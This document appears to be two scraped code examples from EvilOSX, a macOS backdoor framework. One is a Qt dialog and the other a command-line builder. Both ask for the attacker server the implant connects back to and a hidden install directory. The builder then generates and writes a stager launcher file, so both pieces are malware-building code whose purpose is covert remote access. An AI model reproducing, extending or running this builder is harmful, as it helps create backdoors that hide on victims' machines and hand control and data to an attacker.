Example #1
0
    def __init__(self):
        super().__init__()

        self._layout = QVBoxLayout()

        host_label = QLabel("Server host (where EvilOSX will connect to):")
        self._host_field = QLineEdit()

        self._layout.addWidget(host_label)
        self._layout.addWidget(self._host_field)

        port_label = QLabel("Server port:")
        self._port_field = QLineEdit()

        self._layout.addWidget(port_label)
        self._layout.addWidget(self._port_field)

        live_label = QLabel(
            "Where should EvilOSX live? (Leave empty for ~/Library/Containers/.<RANDOM>): "
        )
        self._live_field = QLineEdit()

        self._layout.addWidget(live_label)
        self._layout.addWidget(self._live_field)

        launcher_label = QLabel("Launcher name:")
        self._launcher_combobox = QComboBox()

        for launcher_name in launchers.get_names():
            self._launcher_combobox.addItem(launcher_name)

        self._layout.addWidget(launcher_label)
        self._layout.addWidget(self._launcher_combobox)

        loader_label = QLabel("Loader name:")
        loader_combobox = QComboBox()
        self._loader_layout = QVBoxLayout()

        for loader_name in loaders.get_names():
            loader_combobox.addItem(loader_name)

        self._layout.addWidget(loader_label)
        self._layout.addWidget(loader_combobox)
        loader_combobox.currentTextChanged.connect(self._set_on_loader_change)

        # Dynamically loaded loader layout
        self._layout.addLayout(self._loader_layout)
        self._set_on_loader_change(loader_combobox.currentText())

        self._layout.setContentsMargins(10, 10, 10, 0)
        self._layout.setAlignment(Qt.AlignTop)
        self.setLayout(self._layout)
Example #2
0
def builder():
    server_host = input(MESSAGE_INPUT +
                        "Server host (where EvilOSX will connect to): ")
    server_port = int(input(MESSAGE_INPUT + "Server port: "))
    program_directory = input(
        MESSAGE_INPUT + "Where should EvilOSX live? "
        "(Leave empty for ~/Library/Containers/.<RANDOM>): ")

    if not program_directory:
        program_directory = "~/Library/Containers/.{}".format(
            launchers.get_random_string())

    # Select a launcher
    launcher_names = launchers.get_names()

    print(MESSAGE_INFO +
          "{} available launchers: ".format(len(launcher_names)))
    for i, launcher_name in enumerate(launcher_names):
        print("{} = {}".format(str(i), launcher_name))

    while True:
        try:
            selected_launcher = input(MESSAGE_INPUT +
                                      "Launcher to use (Leave empty for 1): ")

            if not selected_launcher:
                selected_launcher = 1
            else:
                selected_launcher = int(selected_launcher)

            selected_launcher = launcher_names[selected_launcher]
            break
        except (ValueError, IndexError):
            continue

    # Select a loader
    loader_names = loaders.get_names()

    print(MESSAGE_INFO + "{} available loaders: ".format(len(loader_names)))
    for i, loader_name in enumerate(loader_names):
        print("{} = {} ({})".format(
            str(i), loader_name,
            loaders.get_info(loader_name)["Description"]))

    while True:
        try:
            selected_loader = input(MESSAGE_INPUT +
                                    "Loader to use (Leave empty for 0): ")

            if not selected_loader:
                selected_loader = 0
            else:
                selected_loader = int(selected_loader)

            selected_loader = loader_names[selected_loader]
            break
        except (ValueError, IndexError):
            continue

    set_options = []

    for option_message in loaders.get_option_messages(selected_loader):
        set_options.append(input(MESSAGE_INPUT + option_message))

    # Loader setup
    loader_options = loaders.get_options(selected_loader, set_options)
    loader_options["program_directory"] = program_directory

    # Create the launcher
    print(MESSAGE_INFO +
          "Creating the \"{}\" launcher...".format(selected_launcher))
    stager = launchers.create_stager(server_host, server_port, loader_options)

    launcher_extension, launcher = launchers.generate(selected_launcher,
                                                      stager)
    launcher_path = path.realpath(
        path.join(
            path.dirname(__file__), "data", "builds",
            "Launcher-{}.{}".format(str(uuid4())[:6], launcher_extension)))

    with open(launcher_path, "w") as output_file:
        output_file.write(launcher)

    print(MESSAGE_INFO + "Launcher written to: {}".format(launcher_path))